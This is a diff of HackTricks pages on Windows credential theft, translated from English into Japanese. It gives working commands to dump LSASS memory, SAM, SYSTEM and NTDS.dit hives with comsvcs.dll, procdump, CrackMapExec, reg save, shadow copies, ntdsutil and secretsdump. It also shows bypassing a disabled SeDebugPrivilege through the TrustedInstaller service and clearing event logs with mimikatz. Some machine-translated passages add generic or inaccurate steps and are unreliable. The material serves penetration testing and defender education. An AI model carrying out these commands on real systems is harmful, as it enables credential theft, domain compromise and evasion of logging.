basically this DLL creates the dump file, and dumps the specified process into that dump file.\ -Thanks to this function, we can use **comsvcs.dll** to dump lsass process instead of uploading procdump and executing it. (This information was extracted from [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)) +### **comsvcs.dll**を使用してlsassをダンプする +`C:\Windows\System32`にある**comsvcs.dll**というDLLは、プロセスが**クラッシュ**するときに**プロセスメモリをダンプ**する役割を持っています。このDLLには、`rundll32.exe`で呼び出すことができる**`MiniDumpW`**という関数が含まれています。\ +最初の2つの引数は使用されませんが、3番目の引数は3つの部分に分割されます。最初の部分はダンプされるプロセスのID、2番目の部分はダンプファイルの場所、3番目の部分は**full**という単語です。他の選択肢はありません。\ +これらの3つの引数が解析されると、基本的にこのDLLはダンプファイルを作成し、指定したプロセスをそのダンプファイルにダンプします。\ +この関数のおかげで、procdumpをアップロードして実行する代わりに、lsassプロセスをダンプするために**comsvcs.dll**を使用することができます。(この情報は[https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)から抽出されました) ``` rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full ``` +この技術は**SYSTEM**としてのみ実行できることを念頭に置いておく必要があります。 -We just have to keep in mind that this technique can only be executed as **SYSTEM**. +**[lssasy](https://github.com/Hackndo/lsassy)**を使用して、このプロセスを自動化することができます。 -**You can automate this process with** [**lssasy**](https://github.com/Hackndo/lsassy)**.** +### タスクマネージャを使用してlsassをダンプする -### **Dumping lsass with Task Manager** +1. タスクバーを右クリックし、タスクマネージャをクリックします。 +2. 「詳細」をクリックします。 +3. プロセスタブで「Local Security Authority Process」プロセスを検索します。 +4. 「Local Security Authority Process」プロセスを右クリックし、「ダンプファイルの作成」をクリックします。 -1. Right click on the Task Bar and click on Task Manager -2. Click on More details -3. Search for "Local Security Authority Process" process in the Processes tab -4. Right click on "Local Security Authority Process" process and click on "Create dump file". - -### Dumping lsass with procdump - -[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) is a Microsoft signed binary which is a part of [sysinternals](https://docs.microsoft.com/en-us/sysinternals/) suite. +### procdumpを使用してlsassをダンプする +[Procdump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump)は、[sysinternals](https://docs.microsoft.com/en-us/sysinternals/)スイートの一部である、Microsoftによって署名されたバイナリです。 ``` Get-Process -Name LSASS .\procdump.exe -ma 608 lsass.dmp ``` - ## CrackMapExec -### Dump SAM hashes +### SAMハッシュのダンプ +CrackMapExecは、Windowsシステムでの認証情報の収集に使用される強力なツールです。このツールを使用すると、SAMデータベースからユーザーのハッシュをダンプすることができます。 + +以下のコマンドを使用して、CrackMapExecを使用してSAMハッシュをダンプする方法を学びましょう。 + +```plaintext +crackmapexec -u -p --sam +``` + +このコマンドでは、``にはターゲットのIPアドレスまたはホスト名を指定し、``と``には有効な認証情報を入力します。`--sam`フラグを使用することで、SAMハッシュのダンプが有効になります。 + +CrackMapExecは、リモートで実行されるため、ターゲットシステムへのアクセス権が必要です。また、実行するユーザーには適切な特権が必要です。 + +この方法を使用すると、Windowsシステムでの認証情報の収集が容易になります。ただし、合法的な目的のためにのみ使用してください。 ``` cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam ``` +### LSAシークレットのダンプ -### Dump LSA secrets +LSA(Local Security Authority)シークレットは、Windowsシステムで保存される重要な認証情報です。これには、ユーザーのパスワードや暗号化キーなどが含まれます。ハッカーは、LSAシークレットをダンプすることで、これらの機密情報を盗むことができます。 +以下の手順を使用して、LSAシークレットをダンプすることができます。 + +1. ハッカーは、システムにアクセスするための特権を取得する必要があります。これには、管理者権限の取得やシステムへの侵入が含まれます。 + +2. ハッカーは、ダンプツールを使用してLSAシークレットを取得します。一般的なツールには、MimikatzやGsecdumpなどがあります。 + +3. ハッカーは、ダンプされたLSAシークレットを解析して、含まれる認証情報を取得します。これには、ユーザーのパスワードや暗号化キーなどが含まれます。 + +LSAシークレットのダンプは、ハッカーによる悪意のある活動に使用される可能性があります。したがって、システムのセキュリティを強化するためには、適切なセキュリティ対策を実施することが重要です。 ``` cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa ``` +### ターゲットDCからNTDS.ditをダンプする -### Dump the NTDS.dit from target DC +```plaintext +NTDS.dit```は、Active Directoryデータベースファイルであり、ユーザーの認証情報を含んでいます。このファイルをダンプすることで、ユーザーの資格情報を取得することができます。 +以下の手順に従って、ターゲットDCからNTDS.ditをダンプします。 + +1. リモートデスクトップまたはSSHを使用して、ターゲットDCに接続します。 +2. 必要な特権を取得するために、適切なユーザーアカウントを使用します。 +3. コマンドプロンプトまたはPowerShellを開きます。 +4. NTDS.ditをダンプするためのツールを使用します。一般的なツールには、`ntdsutil`や`mimikatz`があります。 +5. ツールを使用して、NTDS.ditをダンプします。ダンプされたファイルは、ローカルマシンに保存されます。 + +以上の手順に従うことで、ターゲットDCからNTDS.ditをダンプすることができます。このダンプファイルには、ユーザーの資格情報が含まれているため、慎重に取り扱ってください。 ``` cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds #~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss ``` +### ターゲットDCからNTDS.ditのパスワード履歴をダンプする -### Dump the NTDS.dit password history from target DC +```plaintext +1. Mimikatzを使用して、ターゲットDCにアクセスします。 +2. `lsadump::lsa /inject`コマンドを実行して、LSAプロセスにインジェクションします。 +3. `lsadump::dcsync /domain: /all /csv`コマンドを実行して、NTDS.ditのパスワード履歴をダンプします。 +4. ダンプされたファイルには、ユーザーのパスワードハッシュが含まれています。 +``` +この手順に従って、ターゲットDCからNTDS.ditのパスワード履歴をダンプすることができます。ダンプされたファイルには、ユーザーのパスワードハッシュが含まれています。 ``` #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history ``` +### 各NTDS.ditアカウントのpwdLastSet属性を表示する -### Show the pwdLastSet attribute for each NTDS.dit account +To show the `pwdLastSet` attribute for each NTDS.dit account, you can use the following command: +```powershell +Get-ADUser -Filter * -Properties pwdLastSet | Select-Object Name, pwdLastSet +``` + +This command will retrieve all user accounts from the NTDS.dit database and display the `Name` and `pwdLastSet` attributes for each account. ``` #~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet ``` -
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグ報奨金について通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する -## Stealing SAM & SYSTEM +## SAMとSYSTEMの盗み出し -This files should be **located** in _C:\windows\system32\config\SAM_ and _C:\windows\system32\config\SYSTEM._ But **you cannot just copy them in a regular way** because they protected. +これらのファイルは_C:\windows\system32\config\SAM_と_C:\windows\system32\config\SYSTEM_に**配置されているはずです**。しかし、**通常の方法では単にコピーすることはできません**。なぜなら、これらのファイルは保護されているからです。 -### From Registry - -The easiest way to steal those files is to get a copy from the registry: +### レジストリから +これらのファイルを盗み出す最も簡単な方法は、レジストリからコピーすることです: ``` reg save HKLM\sam sam reg save HKLM\system system reg save HKLM\security security ``` - -**Download** those files to your Kali machine and **extract the hashes** using: - +**Kaliマシン**にこれらのファイルを**ダウンロード**し、次のコマンドを使用してハッシュを**抽出**します: ``` samdump2 SYSTEM SAM impacket-secretsdump -sam sam -security security -system system LOCAL ``` +### ボリューム シャドウ コピー -### Volume Shadow Copy +このサービスを使用して、保護されたファイルのコピーを作成できます。管理者である必要があります。 -You can perform copy of protected files using this service. You need to be Administrator. - -#### Using vssadmin - -vssadmin binary is only available in Windows Server versions +#### vssadmin の使用 +vssadmin バイナリは Windows Server バージョンのみで利用可能です。 ```bash vssadmin create shadow /for=C: #Copy SAM @@ -216,9 +245,7 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Ex # You can also create a symlink to the shadow copy and access it mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ ``` - -But you can do the same from **Powershell**. This is an example of **how to copy the SAM file** (the hard drive used is "C:" and its saved to C:\users\Public) but you can use this for copying any protected file: - +しかし、同じことを**Powershell**からも行うことができます。以下は、**SAMファイルをコピーする方法の例**です(使用するハードドライブは「C:」で、C:\ users \ Publicに保存されます)。ただし、これは保護されたファイルをコピーするために使用できます。 ```bash $service=(Get-Service -name VSS) if($service.Status -ne "Running"){$notrunning=1;$service.Start()} @@ -227,141 +254,124 @@ $volume=(gwmi win32_shadowcopy -filter "ID='$id'") cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public $voume.Delete();if($notrunning -eq 1){$service.Stop()} ``` - -Code from the book: [https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html) +コードの本文:[https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html](https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html) ### Invoke-NinjaCopy -Finally, you could also use the [**PS script Invoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1) to make a copy of SAM, SYSTEM and ntds.dit. - +最後に、[**PSスクリプトInvoke-NinjaCopy**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1)を使用して、SAM、SYSTEM、およびntds.ditのコピーを作成することもできます。 ```bash Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam" ``` +## **Active Directoryの資格情報 - NTDS.dit** -## **Active Directory Credentials - NTDS.dit** +**Ntds.ditファイルは、Active Directoryのデータを格納するデータベースです**。ユーザーオブジェクト、グループ、およびグループのメンバーシップに関する情報を含みます。また、ドメイン内のすべてのユーザーのパスワードハッシュも含まれています。 -**The Ntds.dit file is a database that stores Active Directory data**, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain. +重要なNTDS.ditファイルは、次の場所にあります: _%SystemRoom%/NTDS/ntds.dit_\ +このファイルは、_Extensible Storage Engine_(ESE)と呼ばれるデータベースであり、公式には3つのテーブルで構成されています: -The important NTDS.dit file will be **located in**: _%SystemRoom%/NTDS/ntds.dit_\ -This file is a database _Extensible Storage Engine_ (ESE) and is "officially" composed by 3 tables: +* **データテーブル**:オブジェクト(ユーザー、グループなど)に関する情報を含みます。 +* **リンクテーブル**:関係(所属しているなど)に関する情報を含みます。 +* **SDテーブル**:各オブジェクトのセキュリティ記述子を含みます。 -* **Data Table**: Contains the information about the objects (users, groups...) -* **Link Table**: Information about the relations (member of...) -* **SD Table**: Contains the security descriptors of each object +詳細については、[http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/)を参照してください。 -More information about this: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/) +Windowsは_Ntdsa.dll_を使用してそのファイルとやり取りし、_lsass.exe_によって使用されます。そのため、**NTDS.dit**ファイルの**一部**は、**`lsass`**メモリの**内部に**配置される可能性があります(おそらくパフォーマンスの向上のために**キャッシュ**が使用されるため、最新にアクセスされたデータを見つけることができます)。 -Windows uses _Ntdsa.dll_ to interact with that file and its used by _lsass.exe_. Then, **part** of the **NTDS.dit** file could be located **inside the `lsass`** memory (you can find the latest accessed data probably because of the performance improve by using a **cache**). +#### NTDS.dit内のハッシュの復号化 -#### Decrypting the hashes inside NTDS.dit +ハッシュは3回暗号化されます: -The hash is cyphered 3 times: +1. **BOOTKEY**と**RC4**を使用して、パスワード暗号化キー(**PEK**)を復号化します。 +2. **PEK**と**RC4**を使用して、**ハッシュ**を復号化します。 +3. **DES**を使用して、**ハッシュ**を復号化します。 -1. Decrypt Password Encryption Key (**PEK**) using the **BOOTKEY** and **RC4**. -2. Decrypt tha **hash** using **PEK** and **RC4**. -3. Decrypt the **hash** using **DES**. +**PEK**は、**すべてのドメインコントローラーで同じ値**を持っていますが、**NTDS.dit**ファイル内で**ドメインコントローラーのSYSTEMファイルのBOOTKEY**を使用して**暗号化**されています(ドメインコントローラー間で異なります)。これが、NTDS.ditファイルから資格情報を取得するためには、NTDS.ditファイルとSYSTEMファイル(_C:\Windows\System32\config\SYSTEM_)の両方が必要な理由です。 -**PEK** have the **same value** in **every domain controller**, but it is **cyphered** inside the **NTDS.dit** file using the **BOOTKEY** of the **SYSTEM file of the domain controller (is different between domain controllers)**. This is why to get the credentials from the NTDS.dit file **you need the files NTDS.dit and SYSTEM** (_C:\Windows\System32\config\SYSTEM_). - -### Copying NTDS.dit using Ntdsutil - -Available since Windows Server 2008. +### Ntdsutilを使用してNTDS.ditをコピーする +Windows Server 2008以降で利用可能です。 ```bash ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ``` +[**ボリュームシャドウコピー**](./#stealing-sam-and-system)トリックを使用して、**ntds.dit**ファイルをコピーすることもできます。**SYSTEMファイル**のコピーも必要です(再び、レジストリからダンプするか、[**ボリュームシャドウコピー**](./#stealing-sam-and-system)トリックを使用してください)。 -You could also use the [**volume shadow copy**](./#stealing-sam-and-system) trick to copy the **ntds.dit** file. Remember that you will also need a copy of the **SYSTEM file** (again, [**dump it from the registry or use the volume shadow copy**](./#stealing-sam-and-system) trick). - -### **Extracting hashes from NTDS.dit** - -Once you have **obtained** the files **NTDS.dit** and **SYSTEM** you can use tools like _secretsdump.py_ to **extract the hashes**: +### **NTDS.ditからハッシュを抽出する** +**NTDS.dit**と**SYSTEM**のファイルを**取得**したら、_secretsdump.py_などのツールを使用してハッシュを**抽出**できます。 ```bash secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt ``` - -You can also **extract them automatically** using a valid domain admin user: - +有効なドメイン管理者ユーザーを使用して、それらを自動的に**抽出する**こともできます: ``` secretsdump.py -just-dc-ntlm /@ ``` +**大きなNTDS.ditファイル**の場合、[gosecretsdump](https://github.com/c-sto/gosecretsdump)を使用して抽出することをおすすめします。 -For **big NTDS.dit files** it's recommend to extract it using [gosecretsdump](https://github.com/c-sto/gosecretsdump). +最後に、**メタスプロイトモジュール** `_post/windows/gather/credentials/domain_hashdump_`または**mimikatz** `lsadump::lsa /inject`を使用することもできます。 -Finally, you can also use the **metasploit module**: _post/windows/gather/credentials/domain\_hashdump_ or **mimikatz** `lsadump::lsa /inject` - -### **Extracting domain objects from NTDS.dit to an SQLite database** - -NTDS objects can be extracted to an SQLite database with [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite). Not only secrets are extracted but also the entire objects and their attributes for further information extraction when the raw NTDS.dit file is already retrieved. +### **NTDS.ditからドメインオブジェクトをSQLiteデータベースに抽出する** +NTDSオブジェクトは、[ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite)を使用してSQLiteデータベースに抽出することができます。秘密情報だけでなく、生のNTDS.ditファイルが既に取得されている場合に、さらなる情報抽出のためにオブジェクト全体とその属性も抽出されます。 ``` ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive ``` - -The `SYSTEM` hive is optional but allow for secrets decryption (NT & LM hashes, supplemental credentials such as cleartext passwords, kerberos or trust keys, NT & LM password histories). Along with other information, the following data is extracted : user and machine accounts with their hashes, UAC flags, timestamp for last logon and password change, accounts description, names, UPN, SPN, groups and recursive memberships, organizational units tree and membership, trusted domains with trusts type, direction and attributes... +`SYSTEM`ハイブはオプションですが、シークレットの復号化(NTハッシュ、LMハッシュ、クリアテキストパスワード、Kerberosまたは信頼キー、NTハッシュ、LMハッシュのパスワード履歴などの補足資格情報)を許可します。他の情報と共に、以下のデータが抽出されます:ユーザーアカウントとマシンアカウントとそれらのハッシュ、UACフラグ、最後のログオンとパスワード変更のタイムスタンプ、アカウントの説明、名前、UPN、SPN、グループと再帰的なメンバーシップ、組織単位ツリーとメンバーシップ、信頼されたドメインとその信頼のタイプ、方向、属性... ## Lazagne -Download the binary from [here](https://github.com/AlessandroZ/LaZagne/releases). you can use this binary to extract credentials from several software. - +[ここ](https://github.com/AlessandroZ/LaZagne/releases)からバイナリをダウンロードします。このバイナリを使用して、さまざまなソフトウェアから資格情報を抽出できます。 ``` lazagne.exe all ``` - -## Other tools for extracting credentials from SAM and LSASS +## SAMとLSASSから資格情報を抽出するための他のツール ### Windows credentials Editor (WCE) -This tool can be used to extract credentials from the memory. Download it from: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/) +このツールはメモリから資格情報を抽出するために使用できます。以下からダウンロードしてください:[http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/) ### fgdump -Extract credentials from the SAM file - +SAMファイルから資格情報を抽出します。 ``` You can find this binary inside Kali, just do: locate fgdump.exe fgdump.exe ``` - ### PwDump -Extract credentials from the SAM file - +SAMファイルから資格情報を抽出します。 ``` You can find this binary inside Kali, just do: locate pwdump.exe PwDump.exe -o outpwdump -x 127.0.0.1 type outpwdump ``` - ### PwDump7 -Download it from:[ http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7) and just **execute it** and the passwords will be extracted. +[ここからダウンロード](http://www.tarasco.org/security/pwdump\_7)して、単に**実行**するだけでパスワードが抽出されます。 -## Defenses +## 防御策 -[**Learn about some credentials protections here.**](credentials-protections.md) +[**ここでいくつかの資格情報の保護方法について学びましょう。**](credentials-protections.md) ​
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてさらに学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/windows-hardening/stealing-credentials/credentials-mimikatz.md b/windows-hardening/stealing-credentials/credentials-mimikatz.md index 802117916..9c9cc6167 100644 --- a/windows-hardening/stealing-credentials/credentials-mimikatz.md +++ b/windows-hardening/stealing-credentials/credentials-mimikatz.md @@ -4,350 +4,326 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -The content of this page was copied [adsecurity.org](https://adsecurity.org/?page\_id=1821) +このページの内容は[adsecurity.org](https://adsecurity.org/?page\_id=1821)からコピーされました。 -## LM and Clear-Text in memory +## メモリ内のLMハッシュとクリアテキスト -Starting with Windows 8.1 and Windows Server 2012 R2, the LM hash and “clear-text” password are no longer in memory. +Windows 8.1およびWindows Server 2012 R2以降、LMハッシュと「クリアテキスト」パスワードはメモリに保存されなくなりました。 -In order to prevent the “clear-text” password from being placed in LSASS, the following registry key needs to be set to “0” (Digest Disabled): +「クリアテキスト」パスワードがLSASSに保存されないようにするには、次のレジストリキーを「0」に設定する必要があります(Digest Disabled): _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest “UseLogonCredential”(DWORD)_ -## **Mimikatz & LSA Protection:** +## **Mimikatz&LSA保護:** -Windows Server 2012 R2 and Windows 8.1 includes a new feature called LSA Protection which involves enabling [LSASS as a protected process on Windows Server 2012 R2](https://technet.microsoft.com/en-us/library/dn408187.aspx) (Mimikatz can bypass with a driver, but that should make some noise in the event logs): +Windows Server 2012 R2およびWindows 8.1には、LSA保護という新機能が含まれています。これには、[Windows Server 2012 R2でLSASSを保護されたプロセスとして有効化](https://technet.microsoft.com/en-us/library/dn408187.aspx)する必要があります(Mimikatzはドライバをバイパスできますが、イベントログにノイズが発生する可能性があります): -_The LSA, which includes the Local Security Authority Server Service (LSASS) process, validates users for local and remote sign-ins and enforces local security policies. The Windows 8.1 operating system provides additional protection for the LSA to prevent reading memory and code injection by non-protected processes. This provides added security for the credentials that the LSA stores and manages._ +_ローカルセキュリティ権限サーバーサービス(LSASS)プロセスを含むLSAは、ローカルおよびリモートのサインインのユーザーを検証し、ローカルのセキュリティポリシーを強制します。 Windows 8.1オペレーティングシステムは、保護されていないプロセスによるメモリの読み取りとコードインジェクションを防ぐために、LSAに追加の保護を提供します。これにより、LSAが保存および管理する資格情報のセキュリティが向上します。_ -Enabling LSA protection: +LSA保護の有効化: -1. Open the Registry Editor (RegEdit.exe), and navigate to the registry key that is located at: HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa and Set the value of the registry key to: “RunAsPPL”=dword:00000001. -2. Create a new GPO and browse to Computer Configuration, Preferences, Windows Settings. Right-click Registry, point to New, and then click Registry Item. The New Registry Properties dialog box appears. In the Hive list, click HKEY\_LOCAL\_MACHINE. In the Key Path list, browse to SYSTEM\CurrentControlSet\Control\Lsa. In the Value name box, type RunAsPPL. In the Value type box, click the REG\_DWORD. In the Value data box, type 00000001.Click OK. +1. レジストリエディタ(RegEdit.exe)を開き、次のレジストリキーに移動します:HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa。レジストリキーの値を「RunAsPPL」=dword:00000001に設定します。 +2. 新しいGPOを作成し、コンピュータの構成、設定、Windowsの設定に移動します。レジストリを右クリックし、新規作成をポイントし、レジストリ項目をクリックします。新しいレジストリプロパティダイアログボックスが表示されます。ハイブリストでHKEY\_LOCAL\_MACHINEをクリックします。キーパスリストでSYSTEM\CurrentControlSet\Control\Lsaに移動します。値名ボックスにRunAsPPLと入力します。値の種類ボックスでREG\_DWORDをクリックします。値データボックスに00000001と入力します。OKをクリックします。 -LSA Protection prevents non-protected processes from interacting with LSASS. Mimikatz can still bypass this with a driver (“!+”). +LSA保護により、保護されていないプロセスはLSASSとのやり取りを防止されます。Mimikatzはまだドライバ("!+")でこれをバイパスすることができます。 [![Mimikatz-Driver-Remove-LSASS-Protection](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Driver-Remove-LSASS-Protection.jpg)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Driver-Remove-LSASS-Protection.jpg) -### Bypassing Disabled SeDebugPrivilege -By default, SeDebugPrivilege is granted to the Administrators group through the Local Security Policy. In an Active Directory environment, [it is possible to remove this privilege](https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5) by setting Computer Configuration --> Policies --> Windows Settings --> Security Settings --> Local Policies --> User Rights Assignment --> Debug programs defined as an empty group. Even in offline AD-connected devices, this setting cannot be overwritten and Local Administrators will receive an error when attempting to dump memory or use Mimikatz. - -However, the TrustedInstaller account will still have access to dump memory and [can be used to bypass this defense](https://www.pepperclipp.com/other-articles/dump-lsass-when-debug-privilege-is-disabled). By modifying the config for the TrustedInstaller service, the account can be run to use ProcDump and dump the memory for `lsass.exe`. +### 無効化されたSeDebugPrivilegeのバイパス +デフォルトでは、SeDebugPrivilegeはAdministratorsグループにローカルセキュリティポリシーを介して付与されます。Active Directory環境では、[この特権を削除することが可能です](https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5)。これは、コンピュータの構成->ポリシー->Windowsの設定->セキュリティ設定->ローカルポリシー->ユーザー権限の割り当て->デバッグプログラムが空のグループとして定義されている場合です。オフラインのAD接続デバイスでも、この設定は上書きできず、ローカル管理者はメモリのダンプやMimikatzの使用時にエラーが発生します。 +ただし、TrustedInstallerアカウントは引き続きメモリのダンプにアクセスでき、[この防御をバイパスするために使用できます](https://www.pepperclipp.com/other-articles/dump-lsass-when-debug-privilege-is-disabled)。TrustedInstallerサービスの構成を変更することで、アカウントを実行してProcDumpを使用し、`lsass.exe`のメモリをダンプすることができます。 ``` sc config TrustedInstaller binPath= "C:\Users\Public\procdump64.exe -accepteula -ma lsass.exe C:\Users\Public\lsass.dmp" sc start TrustedInstaller ``` - [![TrustedInstaller-Dump-Lsass](https://1860093151-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M6yZUYP7DLMbZuztKpV%2Fuploads%2FJtprjloNPADNSpb6S0DS%2Fimage.png?alt=media&token=9b639459-bd4c-4897-90af-8990125fa058) -This dump file can be exfiltrated to an attacker-controlled computer where the credentials can be extracted. - +このダンプファイルは、攻撃者が制御するコンピュータに外部流出させることができ、そこから資格情報を抽出することができます。 ``` # privilege::debug # sekurlsa::minidump lsass.dmp # sekurlsa::logonpasswords ``` +## メイン -## Main +### **イベント** -### **EVENT** - -**EVENT::Clear** – Clear an event log\ +**EVENT::Clear** – イベントログをクリアする\ [\ ![Mimikatz-Event-Clear](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Event-Clear.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Event-Clear.png) -**EVENT:::Drop** – (_**experimental**_) Patch Events service to avoid new events +**EVENT:::Drop** – (_**実験的**_) 新しいイベントを避けるためにイベントサービスをパッチする 